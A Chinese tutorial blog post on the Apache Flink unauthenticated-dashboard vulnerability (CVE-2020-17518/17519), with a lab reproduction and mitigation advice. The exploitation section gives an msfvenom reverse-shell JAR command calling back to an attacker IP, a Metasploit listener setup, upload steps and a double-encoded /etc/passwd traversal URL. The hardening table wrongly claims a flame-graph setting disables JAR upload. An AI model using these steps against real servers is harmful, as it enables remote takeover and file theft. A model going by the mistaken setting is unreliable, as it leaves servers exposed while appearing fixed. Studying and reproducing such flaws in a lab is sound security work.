> 技术文档 > Apache Flink未授权漏洞学习_flink未授权访问漏洞

Apache Flink未授权漏洞学习_flink未授权访问漏洞


⚙️ 一、漏洞原理

1. 未授权访问机制

Apache Flink的Web Dashboard(默认端口8081)在设计上默认未启用身份认证,允许任意用户无需凭证即可访问控制台。关键风险点在于其Submit New Job功能,攻击者可借此上传恶意JAR文件并提交任务,触发远程代码执行(RCE)。

2. 核心漏洞链
  • CVE-2020-17518:攻击者通过篡改HTTP头,将上传的文件写入本地文件系统任意位置(影响版本:1.5.1–1.11.2)。
  • CVE-2020-17519:通过REST接口(/jobmanager/logs/)构造路径遍历Payload(如..%252f..%252fetc/passwd),读取JobManager进程可访问的任意文件(影响版本:1.11.0–1.11.2)。
  • JAR上传RCE:利用Dashboard的JAR上传功能执行恶意代码,本质是未授权访问+任意文件上传的组合漏洞。
3. 漏洞关联风险

若同时存在Kafka组件(CVE-2023-25194),可通过JNDI注入进一步扩大攻击面,实现更深层次的RCE。


⚡ 二、利用过程详解(以JAR上传RCE为例)

1. 环境准备
  • 受影响版本:Flink ≤1.11.2(实测1.11.2仍可利用)。
  • 工具:Metasploit(生成恶意JAR)、Nginx(反向代理或端口转发)。
2. 攻击步骤
  1. 生成恶意JAR
    使用msfvenom创建反向Shell载荷:

    msfvenom -p java/shell_reverse_tcp LHOST=攻击者IP LPORT=4444 -f jar > rce.jar
  2. 启动监听器

    msfconsoleuse exploit/multi/handlerset payload java/shell_reverse_tcpset LHOST 攻击者IPset LPORT 4444exploit
  3. 上传并触发JAR

    • 访问http://目标IP:8081Submit New Job → 上传rce.jar
    • 点击Submit提交任务,触发反向Shell连接。
  4. 获取权限
    成功连接后,攻击者获得目标服务器的Root权限(取决于Flink进程权限)。

3. 文件读取漏洞利用示例
  • Payload构造
    http://目标IP:8081/jobmanager/logs/..%252f..%252f..%252fetc/passwd
    %252f/的二次URL编码,用于绕过路径校验)。
  • 结果:可读取服务器/etc/passwd等敏感文件。

💻 三、漏洞复现示例

场景:本地搭建Flink 1.11.2环境
  1. 环境启动(使用Docker):

    version: \'2\'services: flink: image: vulhub/flink:1.11.2 ports: - \"8081:8081\"

    执行docker-compose up -d启动。

  2. 攻击验证

    • 访问http://localhost:8081,直接进入Dashboard(无认证)。
    • 上传恶意JAR后,Metasploit捕获Shell:
      [*] Command shell session 1 opened (192.168.1.1:4444 -> 目标IP:随机端口)
    • 执行id命令确认权限:uid=0(root)

🛡️ 四、修复与防护方案

措施 具体操作 1. 升级版本 升级至Flink ≥1.11.3或≥1.12.0,修复路径遍历和文件写入漏洞。 2. 启用认证 通过Nginx反向代理添加基础认证,或在flink-conf.yaml配置Kerberos安全认证。 3. 网络隔离 防火墙限制8081端口仅允许可信IP访问,禁止暴露至公网。 4. 关闭高危功能flink-conf.yaml中禁用JAR上传功能:rest.flamegraph.enabled: false5. 最小权限原则 Flink进程以低权限用户(如flink-user)运行,限制文件系统访问范围。

💎 总结

Apache Flink未授权访问漏洞的核心在于默认配置缺失身份认证,结合高危功能(JAR上传、REST API)形成RCE和文件泄露风险。攻击者仅需访问Web界面即可完全控制服务器。修复关键点是升级版本+强制认证+网络隔离,同时遵循最小权限原则降低影响。运维人员应定期扫描未授权服务(如FOFA搜索app=\"APACHE-Flink\"),及时加固。